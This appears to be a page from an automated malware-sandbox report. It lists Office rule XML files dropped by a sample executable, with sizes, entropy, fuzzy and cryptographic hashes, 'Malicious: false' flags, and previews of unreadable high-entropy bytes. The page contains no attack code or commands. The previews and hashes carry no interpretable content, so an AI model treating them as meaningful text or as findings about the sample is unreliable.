Preview:	<?xml..(h/~...!T..<1c-.M.F.'P.\|A%.1I.....)K...Z.$.}.CT....g.[...~ h......z,.B.'E... Ju.....L`.......6`....i.3.>uY%3:9W.IrU.W.P....a.z..b........6...._....=.eh...q......fJ.bPX+..7w..L.63...4.R....w.......<Uq.?=.oM.-3..^.&.&2>...h..).hm..\..g... ....@...........\e...U1...\|. 9.@T..%..........P..'.T...o.\.....\...i%J.3n...........L.9g...RZ1....pm;..v...Y..'.JO"'.^.]..s...\|0\.U..n..0Y....^........J.-...e.KtZ#bN.D.#o.!.JW\...._r..,m....H.4q...@..-.s.ia......b>.k.I..t=... ... x./v....x..x.^`6....O.?..e..n6....UrkXGm.8.H.&H.I..2..vYT...t...:c...:{.N.z.>............_....^r7..>......_.+..7....kf+.Dk.C.y..........`C..Y....S......f.......~..x.~.-..^z...g&....G..6ia&:..Q<.=.Y..e=.......Q.ygW.!5.:.I..y.i.im.....[.u\|..".?jt .....R.k#[.dW~...qB...X.P....(h...J_....<..o1...l.k[.`.........F..Q)..+...jG~.....B....N.oO..(+.XF....Bh/..#B....^.Z.G..~..Bp......k_....AJ\|il.k..{..=...\|.M.R....\|...s^n............s....P.,".Lc.*.~`..0...f.,.....<.Jj..{.Q02..>..DB

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.892306502108705
Encrypted:	false
SSDEEP:	48:Atny/CQf19aFSaDQIGm2y+S48LEInxm7lHND:Ky/CUaSak3nyD49Io7H
MD5:	EF7A51C89901CA4EF6F1BFD58482F527
SHA1:	B5F96A442FE419EE9B92818DF7CBEAEBC64E848B
SHA-256:	E73378BE8A0676FB2DDD3648366DFE5D730345180EB444270B41062DEA8E910F
SHA-512:	FB3864F89F4974CA4BB5F98F94695FDB003F781CD58F6AA936B82E96216836BC05C11CF5090CA97674F7C08E6F6F5AB57752D93FB7AC9E580A55CBB84F868CC6
Malicious:	false
Preview:	<?xml}..n@1F.`.l.&<}........^.Mz...N..q...}..[.T#.6yz@..\t.P.>......u=.....94....h.......p..._.4../\|\|..j....ENA..3#.t....\|[..E.}..+.....{...fl..X(...M1..F.l...#t..S/A...VEp8.H.Z.`(To..vC.j.....a.=.:..o.5...cf.1.[.S..U}V...y...)Z..LJ..4...4r'..i...4.!(*.....t#E.0.uy..N.....O.T.g.\@.%.z).....Q...Xu..0!.m.....5..!c.\|_-.E...f.tz..c..W........[.....pQ...G.?y..M......Bg...].LC...../..>./.b.>M...._...9.....R..2..4\|&......Tv$.C}.D.&.....\|.../..=5..B..1m.H7$....u...h..9.I..Mo...n.R...y.........x.7@{.:........E....j~4.m..B^G.2N.....?....$p..A......^Ad..(......t.B)Fl~....K......g....z.S....C..%......3l.0..5g...d-.(^o.....-...V#.Z...r.J......w.=.......P.tZ...b.....@..X...`Y.Q.~..8..n..6A....?M=.+.zw....I.=.+6"81M...A)\|...._j.L.......0.=......\.....k..\.gl_..9..}.NI..U..Z...O....(..... ..'~r@.....Pg.t.AgM.7..j..v...t.p<..A3..q..`.Y.x8s..1..I.Bb_..k.;.R...>'..6....E..+....i....K.k.....yO.6...3.k....ec+;.,..N...f.C.=.k KE;.s..#...~..2..,3~M.~.PxM..Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.898239764645343
Encrypted:	false
SSDEEP:	48:rzk+ZmzkXFvoRYBClxtShGs5/B6DD8s3D:rzpTFg6ISXUF
MD5:	346FCC29069BD5473853F578AC41E8B5
SHA1:	32064EA84CCCE4274CAC9ED60882FC6C6693369C
SHA-256:	41FA778C355BF6EDF74E06FA1D978E5DE89BECE1EFA46E659CAF838B5D6F9FAC
SHA-512:	992AE16B623CDDE0831CA4F0FBC115F644CA903F8CE4086C8F5D004CB4EE0697B6117BA9FB55A317CC128104F052DD1E4BA10FF21B826373BE05FDA4613D6D3F
Malicious:	false
Preview:	<?xmln...V....ru...Nq...f.X.p".o.Z... F.Go..._.?.9...7..m`np%.7...jz....R.......\...I.k..[.._>m...5]_@R..7..7..!%#.....H..&...f..;..N......P.R@{0..5{..7......Rn=.I.X9.,.v$R.%).b.w.i\|......=.F..E.\]..4.TO.....q.W.Ue...5.i).}.^..=......7.n....AA.Q.(.J.......Nl.E;..7..]....B9p\YM....g`......b........P9Z:.......Q>x.Z.?.......W$..iP2_9.....y...v..5....l......C.-lH..'~...M..B.".....+..<.....b.gAr..:..uu$NS...I.#.}...$....F.y.^9...?....^K........:..oA....J.F...p..v.(^....s.....\.(<..j...o1..t...p......>...^..'n...^..,....NV..[Q.t....Mo..D...t...R.n..#L".\..!.P.s.d~.<r...........oXa.C0....r.D...-..M.Tf4...I.?....I{......_X.@>...U.l.Y.IV`..}......kZ#.^.Oe....E..i.J....c..kk.IXf.D.L.2.....5.f....n....W.G...a...r.l0g..`...m...&..t..S.....xr.P...'..[.....Hn...Jv....\|{...J......H$....N..x..1.D...eN.NA.2.`nV.K.....`.....nj.z. .wl.....q.X......+.ZnM..+2+dA..{~...x.}F.a.')..S........W.r\|..r...\.:....F..g.[U..............h..h.r...........#...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.880385000337782
Encrypted:	false
SSDEEP:	24:Q5JQSdPYBRS2FN6nvHIut/C/9fQaTkuZHERD7qDE3datXmU4HxCiiyesvsbD:qJxP0o2N6nQutyhkuVE1n3hHx1esvmD
MD5:	0256C50E851A9D51AC3B97DAA445CDBB
SHA1:	8E6621EA6A1F96DA77F56C14E4D4C3A706441213
SHA-256:	C64E3447FCBAA91196E46CBD066751A2BF502D2F85369F83BDB4B630E128B076
SHA-512:	2087267192CC5C4234AF1157877002F6C9AA60195E149ED477FA648E6E942329C2EFED20AA774F0786CFDE294F7C3C6E111B1579E47897798FCC59D43A437BD8
Malicious:	false
Preview:	<?xml.............fGR.vh..t.r.a7......$.6O..q.Z.e.5..O;mo...vx..u.Gz...d.`]...1)...u..u..P../.5.~..'.4......<.g......j`.e..E\|..3I)A..c5.9.__.V..HZ .h.>.g.....V/..N.........i5?.V.\..(..U..)j.&#.D.~......=.....t>...`N.~.R..mZ.$..9...X.O....KTl%....R....T.DM.9.h.q.U.iL.&Zg'......ub3..~.>..JN...K"."X.....N...O..3.........SG..=...Gj.4m...-G......aC.Rsf......U...$var.D.;....8.o.. u)..]:.k.....U...3n.F.MQ6D..r&..bh.k.8Dz.z...i.].EM...`x{.z=nq.k.!_)..T...dv...H7(S.f..M... Y.5.....=.B[..5Y=......z...kd...m.$..c..K.,....^.<......(B.w.P..G...E..w.A/...fw.z..z..1a......8.[......^..`D...l...ii.==85.].4.....9.!F...<Rx.F.~L.......z.<.g.uKI.]Va.,o.......0.vR.....db.....CrT..........yu3M.^..D.!Oi........'...G..u8.&I....).yBU.z...,.-.'..!.+;$......M...D.z..7..... ..H..A{5.Y..I....tG.=i.uc.......x.+.(~z.e9...'./.w.g2..sw....WS&..z..z......O...$.!..X.5.P:.`..&p.\.dk.i'.....)..r.C....:R.r.N./..r5...F7......,...m.k.{.nd..s.pD.W.zc._.)(.....@.....3.D....+..f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.890577131303135
Encrypted:	false
SSDEEP:	24:YTfDuGgwdxalv19UX1Nb7Pxyt0EEay7Xz+IpBywju3A+Hk4vnol0OHFddXROkcUS:5ZEaGrbTxmDwXS4BywiRoa8ONOwZPD
MD5:	569A00C79E3AEDEC409EAE55BE58EC1B
SHA1:	141B2986C9A6453CCF902080D3133C97B0EDDA1B
SHA-256:	104D61009ABEC1A97B04947E40AF700816919CFAC9B5F4D6F6AF1785CCEE28BD
SHA-512:	9CE42D1C0BE3D766C8D51710E58F30A0EBADCDC9B4060036175FC94D13AC563813AB6BCE1072EB3AD844D8AAD0356460AF923266F614E991DEDF448E482BD0CA
Malicious:	false
Preview:	<?xml%6............a....b..........;U...e....;..L^E....f.........e.).~8.H...;%...H...V....D...........`EX..=t.N/...o.s^W...l...#...cY..3.c....Rf."......m..f](..^..m..:ew,:......U...Z..8.N\|k#.[.."...d.k.0..h].6q.A..&..N...{.`/......D.6Z..[...yX.7.....]p.#..o...lL.V..ej.>9.#Nlb..B.."-...4((m."Z..>...X...DqiF1^.......U......:..A...Q.n.5Z.3...7.Ij...@..k..&...Plt..).wc.f.=m...t.V....#...........}.H.j..{,............w..Ym}p..../a..B..B.0.C~..l2..._{H.t.f."...)j.z.0..w=..K....<j..........v..p...f.;...K.D.f....V.).d...e\|O...k..B.9....W.J.9....F\x.-.....C..@..F.eV.r.\|..>.K...Z.+;p....1.k.5.....T....m...Bt.]..B.1.".W6.C........Y.`..\|4..U.7.F..<.FY?..Z.);.0&.....E.9.G..M5.k....?c.xtd.d.1q.[H..Tq.>.r.%a...k..1`)KG\..ieH4....p\.y..>....$7..8?..j~....w7.' \.Y.....\|\|"...9..P_..\..!....DaM.....k..9.+,...........C[......C[.5.M."^St.?..E..,U.X@........'V17..j...*ur.J...9]...:......#.....E.#...$.....^c..D]..~S..hG.b[NII.=u.Y.(M.w=..f-..."[._;...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.875835567525858
Encrypted:	false
SSDEEP:	48:11xXi3/gR41BiQ+L4DiF4RMbei3pQc+4GcGsD:P2/gR41BJ+L4uGRy3G4GFI
MD5:	0F0F25DC68214FBE93E39D67EB638AB0
SHA1:	F0467B022A3BFD6A9E2AFEA6878DA595454720FA
SHA-256:	714A35E2CB0DE0060F5ECD6500CF172D9A910F89DA42ECE489634F9299152398
SHA-512:	9CC365A781384EA58F46B35B9E61AD2E07DC9909D5F8EBC1F4010B1C0D0A94676A7EB3F32844B32353A8A7898692C5140BE65140A4F4AC80848C87F767F6CF9C
Malicious:	false
Preview:	<?xml\.../%..b".?_R.O.....<t....0k".J...f)D.....,....I.?....Cc..I.-.[+.K.k[.T.0.....j....P......../....W,(v,.K.].Q....(.0....F{...F'...{.,....J.}x._.f.!.PB..r..z.*S...\|(jD\.I...;.....7&./.#r{...m.;7I..fWD.2.^.y.......V.c....q7\|...4..H.0.U.............3;...To....M...#.5..D...;....W..`8.9<r....G..iG].u.......Eh.?.u.}....^u..=...Z.....E..M.v.C...h...B.....b....:\|.7.J..8..#...,.Wh+t`...-Y....}E.to.j.....o:Dm....G....z2K..q..0.6..W..p.MW..N....'.]...s.B..~.... 9.....Q.........%..Jd.#..b..l.$uj..CE.Z].d....z..%.y......1......L.6Q01g.......ppD&..&.-...B@P...p...1.<R.h...#.1.N+v.w...............~L..{.T.7..X.ju..AjI(.k.%j..M..MOB#.bV...].Mtg...#}q.Y....b...8bR.qd}.e...^......lj.E.q.........h..#+. =...VW..1..>b..r..pB..(..$..0. .`.R....06Y,.d6s".8.$.=.{0.T.....+b.}e.cZ$k-%nS..42x..&#QWR.....0......B..=...k..,i....o.y.......!d9h....$.9..+\|.%..X?..X.-.i\|.e/.....s%%..@6.<\|..2..."..s."a...Y..5....rk..\|...B{.m..i.Wv....0D..M...=D.u.,....5A...F~.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.8721642293189555
Encrypted:	false
SSDEEP:	48:uEjgeXwE+hSZDcTrQF0Gq8RvmNsbg4lqGa4NaD:jcegVhWc/Q3Fg4Nt4
MD5:	EEFD9EAFE61C5DFD5E842769256E1353
SHA1:	0B592FF47C165450F117E6BBB2B5E8D0C04C86E2
SHA-256:	1D3058D53B2FC8BF0FBA14236FAB633B4EB3C215FF52769EE743241672684970
SHA-512:	965C0C5B710EAA4A277361A8B77BA6FF02DFF302069E118B04126E49B452D4CE1D324B23AD3853F02DF4E8ABC6F2404AD81A3933D46A7B2B510E12DCF75FF876
Malicious:	false
Preview:	<?xml/.mR.3....?.......0r./9.2.9a.$..D...Qfh....G......:...&...9.s.3sh.fr..m..!...... A....)-k.0o%r.2O...e...8...".....5..[.B...2%..Y........}..Xi.if.....O3a..j$....Q.".......t.F. cH.2D+Y.F..%..9.A$..D.9..E...m..^>..P..J..N.v..H..o.........................$.Q9.\..^. .U..J.. .E.).Lw..K..m..5.g#.k.,X.J.........B....S..%.$L{.dQ.9..7.O..d.......N..D.k)(.P.\|S.. k{.......>....._Y...&jg..._..y.....Eg1...]...2..0.F..Pj^.}....p?.......pm..P.d..$E...^....4i..m.&..U.P3.h......,...t......./.....PpM..`G.P.H.M.iRl.y.. b..j.......6.}..G......Z.R..?.2Lz..~#...Y.R...XV...N.4..@.&..R.E.I..J........R.z.o..c....\.?mc%<..Q...9....^Q..k(L.\|......@.W%5.}.h..B.....1..1..W....V.h Sk.^NE8\.6J.]..R6..<.<}{R;l.^....z............;.........h3R(H.......P.;.m..^.V.P!.h...yp..L.e...l.Y...Lz.._......mB...=..y=.Axd.O%0.u.v"..J..(............?_....3...6....y...4....K....d3 .Y........B-.S....L...9..E=~..f<c.4R.)..U..}....l...D.......D..n..{.k.>.}..qQ3,...=..C...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.883697525641433
Encrypted:	false
SSDEEP:	48:2ErQF5VQ3cAtGMDyQp5YzWYPvhL+kmUGnZB0D:2ErC5IcAt3Dpp5YzjPQk4g
MD5:	F6F401D1F4E0BD88582DACDB663DA79F
SHA1:	08479C0DDC4D949390FDF46BE5B9B34A216EFA71
SHA-256:	95E8597EAC0FFE3CD1E1446638CB7A93DD5BEE9BB3BAD084705E066B6EE931F3
SHA-512:	D1D6AF731B8502ACA49595A73FE0B708318F1A7BF3F4659F915C51651144B9556CBECFECA808041D32548FF00CFF586EDF7A27CFFE7C09821F497DDD02362515
Malicious:	false
Preview:	<?xml.....:.R.\..ff.&Q...A.Zn..u....b_...lV....T..8.s\.p.. o2..'.....k.(.c.D...N.9...K..ML..@........4./.@??......2.}...6e%.......'..oM.Ru.U$\."<.9..A...d..;...h1c..^.Y...6.....x........5.u.xn..iC.....]..7.....h.YG..'..Tw^$..~......EN.n=n..O.[b........W..~R(.v2..S..r...l2O.;y.v..A...x.;@Py...;.....Tv{.a..?..T.dW.>p..m^;f.r0.f.tA..\MI.`xv.!p.......-.M.n7(.NO....9...\|7..>7Q.....-;.o..Tb..v........X...G1c......(.....5'.....F.i......U...ic....,.VJ.A.i.R..P...5.=7.y.K;.....04H..-..I....k../..0.G6.x.y{2.^...^......b.k+..c+x6,... ..2.SVl.....TC../......)N.r..6.5....D)...0.\|d...\|z)-5.....(....=.....A.IP...2._.)h..1.[m.Y.\6..\c..P..o..y..q.....z..V.}t....m...;T..+......P.t...J...:#W......w........x..<.'/[...L."g..5E.kZ..l....^....+...0..#k=.qg..l.25..`n+.Q\|s......r.....i\-.]v.NJ..0.R,PQ..4.~.<.B.eI.D1R....O.......7JG.(.F..s..(;.`L_+..q...&.\MI..F^l..........N.....+.!aR2~...ZR.Q....{8..@..@.h. .g)%....T.....W...j.FB..J...<7.......w...6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.8821547141459565
Encrypted:	false
SSDEEP:	24:s5CLm1aqhFP/jlKrOepYfQYWAwXIS0THdY9hrCfqSwAHCEGts7ihtfkm1TL5wHwN:s5OqPcrHiYYhTCvrCS7AH6yihtfn+uFD
MD5:	17D3BEA1A6BAF3AE8AC520DE0665C565
SHA1:	66EF3E33EB9D956C33069D974184C3A42A2101B8
SHA-256:	FF61657811784C762EAB1C77058ACBCF183B1DA7B1F037E7E0AF91C5603EA2F1
SHA-512:	534810055601216AD74C0D592B781CFB2560C847D033DBC1A403EEEBBA83375DF81404EE107CC4BA1796134F5BCCF666E5B12FE37741ED978E548EEEB9469298
Malicious:	false
Preview:	<?xmlj.%.4.p`w.\.vF"...@./.XW.).[.U.\...I..zw..G....DF.C..?.Q.K1F..2...Q:;.x+....e...G...;..=4.....@a...,.<d.......L.....\...O...B....+n..].....T]Y.Fy...p.../z.#.K....Q..&....t.....:..7..&q...x../.....0f....\|...=.j......_.[.f....._....R.R.Ov.S..7.-..?.........7......}.J..2.U....r.C...$>.......5.'Bb........~.5Zv.Z.'.e...........X..!n..k0.,.)^i.v.RMbW.......O...S!.`Av/x...$.v7!yd..o......4..)zQ..9...(...d}H..R.q?..l.Z..k..5G.F.A.......$l........N..WObT...V..9..2>.....2uH.7']...h......x.\|kV..Gg1....R.oG. .A/....QPP;....O..0...l.....^L.w...x....O....(A3...k...E.....9..l..I{....K0...J6...,..d..!"...T..\|.#...u!.......:.H...y..&YAn....=._.@....`.h7;.$..#=....n..K.....k..x.!a...2.......Sqo._..z..Y..KU.xK. .G P\B46,.A...M.0..u.Yqln..`..).[}y.<a".P....N.N..}..1. ...<..fz...W{.../...[....}......h=S....y....B.=....N...s.c.]+.....N........U..=...QR...^.c ...$.S.e$rV...y ATL.....ZV.@.fJU..v...D..H-]......LY....6.]....M..G..q...5.=].=&.s' H!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.879869307341725
Encrypted:	false
SSDEEP:	48:vSBUXCqTlqCBhUbiT5Z9uzjbr9Fe/HbxPA/cRD:vSeXdHUbi/wzjby/HI4
MD5:	D1D28E37C4B040C307FB0E179CF6BF64
SHA1:	54AABECF68592D4C9F6CFF010F49EC1B26D10F12
SHA-256:	F35F6749121099D15340F2D4A437C68CB523DFA6883C61AC9C0E4E6095664EBE
SHA-512:	8A4052D5E94A37FAC9E0F4EBEB2EEC83E150A8C854DB0E32126D80B388EE03C7D358411AF5E6555E378AD0DF8781FC6236243ADC6E19DD8514BC5B8EFD713F35
Malicious:	false
Preview:	<?xmloj,M..A..B.Y.W.oc....w<V....0_V<..@+ik.)....?...%.=..h.J\...(-.........lw."fV......"...'..6./K...W.D..6).!'..,Vy&....h-.......M..5_...X......../yyN.\|.q0w]/5.N<....)m....Yli.......T.~.DnG.6..^......Lz...P.KN.&i......../:..H...iB....F...-]....Cl.}0[.N...)....U.>...a.E..N&..M&......}n........4+...Pq..,.@ 0n.YU.`?...... ...$.o.....T.I...Uhz..wR..wqg.N..4..A4....p.CB..F.~f8.........9..w.7...9r...^.._PI./......c.FzG.E..8.\|..........l....5f:..0....U....\#'.AK...:W.\|..?\<.. qC]....%^.W.)..zw..]%5a`.......x..I...x.[.E.+%.\|.......Y..X...X.Qc.\|...s.O......;yM~bS..M....rl. .@.vh7.....Sv..t.`w8.].O,...;.......9..{t......UKc.[&{..h.>....3pHl.P..G{\|....B.1....J..Y.=.2.W..L...5O.........W.~G..".a6.K........0...h.Ghv.;p...x..E....y..p.V...)kWAD..qy...W.*......s.\|4.D2....J/..\.@.ttY.8o2.b.lc.Gy.p....\|!.<et....SI...T..n...4..eo\|Y...HC.]..jj....S.Ppa..p.j./.....jh.Y.9ar..r..1...%5M......w..qX..l.sI..../.a.}{..i..{...&e^..xBg.v.O.M}y...2....B...p4'..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.892071648505545
Encrypted:	false
SSDEEP:	48:FP1awysGB5YzcIkxUSPYbRQl9zTG61CGMblnbD:mZsSxeSP5n267Mbt
MD5:	29DDBAA17A577ADBED146A004AA35574
SHA1:	0D2DF4F64230F8CEE06B748B378B74EA028D2051
SHA-256:	A442E59D6534308131D8A34D3F0DD4021D5027ADA2AC6D81300A35B249EB3DD2
SHA-512:	8DE2BD29F3E949AA48EB051B4CEEAF7937A14CA114793DD87AAFE11445C8F90FF60FAD723BD459E5C5E14BA07B352608CF894825442ACA53C00E3A6C23F8700E
Malicious:	false
Preview:	<?xml.....VB..."SW..%%....9OVE.O6.........F..%....i..u..z..]..'....iZYs}.)2.%.g.o.....}K..9?\|..G.&......[.+.z..p5_..-.A.......e .....X.O..'tMfdL"..{v....R.....Rw....n".._.....k.s. ...b....BW.... .M2.P......4X...%3..#.V.I.#.rN...n...h..@uW.....R4-.8....w.}.5..J!~..1.tq.{D.e..yd.X.^.7..(.~.>N@I...;G7\|5...0i;T.i...'..;.U...ER.5-Yj.1.\|F.nqyq..D.{.w....J_..).-.Z..E._.e._....."......F57...B.$0f.?..l.....g....v....&....Y.f.../.....F.k.n..H0.G>..yO.:<.3E..&.....ga.t....\...J.'c....&.mV..l.Q7....x..f.'...R..o.?..ga).pf.0~...#...~..A)pjE....^...S.\|..-.8..A..i7.eM........v.K....cH..k.5..}...v3./.p.......7..6&.+.Z..k$^g.....v!f+..w...#&.....a...k.c.L..{.P.fw\1...E.n..F.........w.>u.E..v..,..L...\Q...xeW;.,.d..bJ..#.X+[^g...GP.,.....:?.t.~!...=......2.m.)VG.hVt{....2;`..m..on.....n.........Df.`.3w...,..G+.)..6.BX...sD..Y..$..(...KKG.-.X..d....P.v.......Y.:k')...g...g...,<..Qf..l...e......y.V.;..j...p.s{...R..i\..A:Zf/6..e\.w.}....i..*../.....D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	7.894758210411605
Encrypted:	false
SSDEEP:	48:CzOnpiCcNNcxP4YAQzB5eQMbeF4doysoeB8Tj7RhgD:CzODcEP4Y1EGK3sohTj7Rh8
MD5:	F5F82667FDB7FF0149CF559637A0E48E
SHA1:	7754F5F7E69E696EA2C9834883C35326AEE17DC6
SHA-256:	E3C0DB9AE1CABEA79E7B0FA4BB917D647EDE0C0540D53228D3804B0D3AA66CB3
SHA-512:	F6A02DB089371E18766B8BCD86102243AC4CAA8D267C2F56FF2BE83B04F208C37528BC74C3319EB0597B1A540D9F1B5AABAA340CB0D470A49D1B808303C48FAB
Malicious:	false
Preview:	<?xmlX).HBr..e.+...i...K....O.)..Z)n.y3@.....e.op.....-.3w.......V4.&..;9.f/W..J.N....N....1....U.&.~..rN...Oj..8...H...?.j{.....k.......j.m.RJ..0..\|..0........9+.!..<0....Yjv.w....O^.T.r.L.sM...m.e`..u...H..{......Q..4...J.'..K.X.eH......D.'...5,...X!......Ry..\|.9.0...T.\.3.B...u.{8.[...TzN./ah.Ql\...nr./q._JV=.t.sK......U.X.KX.$..X.U..R."..#8.M..y....~g.3A.?.y..D..x......7.!a;p..$..a..D Z.~.`.f.G.S.f.....f.0..dJ.:...=/..l.H..^P....?...!B.Es.Z.G.....1rt...W...&K.bA-XC.flU.Y'S&a...\.:hX..(...Es.{4...i.G..S.v.......6.a........\|.Z.[..F_'B.ML...\|.a.#+....M.....A#....%....R.H....<r....B...6<.1..'t....w.R..%....U......."..^<..'E.J...6i.//&..........9...==....,..K..5m.+A.yd......W.H./7.I..^..9o..#..).....F&T.z,K..$.2U....b'_Y$.....Is.0.;.InX@.....z.:..k<.\....2@..OS...G.d..\|.S.%..T\.4.D..N....uC....]G.`.W_@yD!."{\|...,.u. ......fs.Mwq....-..*a.xl.?u^.#.3s..#.Z.......d\.....v...\|..$}....E.M..z.v.4{.w....&d9(.j..52R.h.B....4...b....\|...0.7...s.1.fG

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1758
Entropy (8bit):	7.865708625828774
Encrypted:	false
SSDEEP:	48:AWyJLpdJWT5FcGPdEiFShrU0OZmz0El3JiYg1HWrD:ApzJ8AGCiFw+mwc5i91S
MD5:	E5F56FA106F762AFD9B3FCF30051BAC7
SHA1:	99A0CA642E0691100C256711C6950EF9B337ECCB
SHA-256:	95DF1EE488D536A1CD0FE75D4CF83F0569D4A58C4B72305C28F0268FC25517C8
SHA-512:	48BC68A61F2A33795D18256C054CA3D06BCBEABE1963D91F50138D7FA402FAA70A539B0F828227A601B603C03018D2FDF3FE181F27BEFE0CD5905DC603F60A35
Malicious:	false
Preview:	<?xml...LC....4..e.a............U.Ov.......J\|.K....?../...@...'....:.c....i.^..).;..9.lZ.dN&.......Xb.Ob......A\|..(8L.....!.&i......yz....q.<.d.a\|..U.....}NT...(=>.5k..8!f....(1.:.r+._.....\|I./... .p......U.i#9A.).w\|._.&..T}$..h5.... E...].J.....O`.\|j..`.D.R....>G..`.L....x.T.....[.m...X..i...%.u.}.....4%.X1........3..'..L...+.N]TJS....2C..!/eP...<w.......@..ib...d.r.C....,0../6'\..7.=.....6.2.%&n;...p.`.^AK..f....Q..N.-..:+=:..X.....a..j..a\|...b......'5.a...R.....j=.E.d....W../.'.=..#..^.a.nu...4.[>.Y.T.e....sm.j....-._......m...DR........V'......o.P+..V.E\W./L=..e.2..d{.4WpH.......WN.r..^......n....<5t%[]4.vm..,....n@..!..5......3..]J...8...7....E.:{eH..)7..W,6...m+.-....[.$...]..WpK.a@.A....a.QL...r..D....r\|F.ZWj`.V./Wr.....:N....(.W...Y.!....3.~.....#..e.oC..&.<. ..n....y......I......t..JH.Ehrp....v.F.e...T[...DX.........:.M.J...5!.....1.v....IuU...:....OD_....l!.#.qD$yR7s......3.c....O:4R....(.\i.s].{..<....3..h..c...c.>.x.C...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.870859995316266
Encrypted:	false
SSDEEP:	24:4yLxggEH1cH9NXx4WIM0IfLLwFIeO+fwfDPKxg9w7P/8AaTbD:vLCHedj4WGITLw6ufwfDCxyw7Ph4D
MD5:	029672D809CDBD6A1A062013D4115F01
SHA1:	7B09070D886CDFE410BD63E6E5B3C3B8A5078EBC
SHA-256:	8EBB6DC8DA76087D1956CC225D5FCF64A50388C392E2FBA06ACA06C620FAD8DC
SHA-512:	0B95D8F0F02897D105DCA144EF376D9B996663013E8F77BD450C5B0B5E05948DF3A0201D67BEA623C48D3EAE4E74159627FDA4D75772D2E7BD0B85ECDC94756F
Malicious:	false
Preview:	<?xml\.H.).#H3..F..kU.>.:..h..>....w.PVZ.'..K..[.A?...$..;%...Z....h..6.!%...#.'&)'....I.........\|"..5..I}.b..+.r...mc.U...S...=....}..2..H...-.L...;..j...r...]M...<..<........>......6......2.7.3.....wPY.-....\...ck..#.;.v.N.M'...Z...zg.\(C....`..2..Y.kc...J...C.cu......b&..$..e;.-.5k.Y....0.,..%\.m.>...>.\|[.....X...+C.}.3..-=..7.mr$.....}.X...o.V...]b@..2.0..)/&.....C.a..MId.9....^......Ce..,W.EtN..6.?$2.z .pQf.].j...iu.2..{.R.T\|..N....V..K\....l$q.j.fc...-`U..o ..q...l.W..z......:u..8......%......W.._-.q..6....k...x...`&...]qu...A.-..v......U$\|..%;.....8....c`\|D.f._..I.}B..j..c....^....l.odOK]...\|..U.4.G..-....`..u...\-..#..RGi.\..=..u`.q[.Wd)k.....p....#c......Q...q$8b.>]ih..AM...>..{gm.i.G.s.8k.(...g.O...j.\|\Q\..B..d?......>~V.[k.W..].....P..5...HoO...u[....3_...!.y...l.R.k.l.?q\.n.t74.yz.....SX}..a@....26c##[...;.)4^...@}...9....S%l..P=1.d,(..^8..b.;Z...........#..Ph..8..7..=\|+.p_5..$g..K...g....LW.........=-8!.vV..Zm.....(.H.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.896490044768637
Encrypted:	false
SSDEEP:	48:tcuZ9BBGYn0yscwpJT/LqtiU3nW6N2KJHLGgyjHvaD:tcun30yscw3qYU3W6NlHp
MD5:	792CE5E5E1CA5FF7D71443729C0CD5F2
SHA1:	C50EDA48B541C8D56BBF64EA427FCF77C7DF235C
SHA-256:	3C54210C57264234A50543CB003F45BB6973033EF8519B072814A2E83F4749CF
SHA-512:	C117F1C5BFFF01D50014CCDDACD28B6CC93918DD7D8714129C254E40E16A2A9EDEE77E4BB03D42FD1841CAFCBCBB7670C7D7F550DF105B515C4F682EC2FFC83B
Malicious:	false
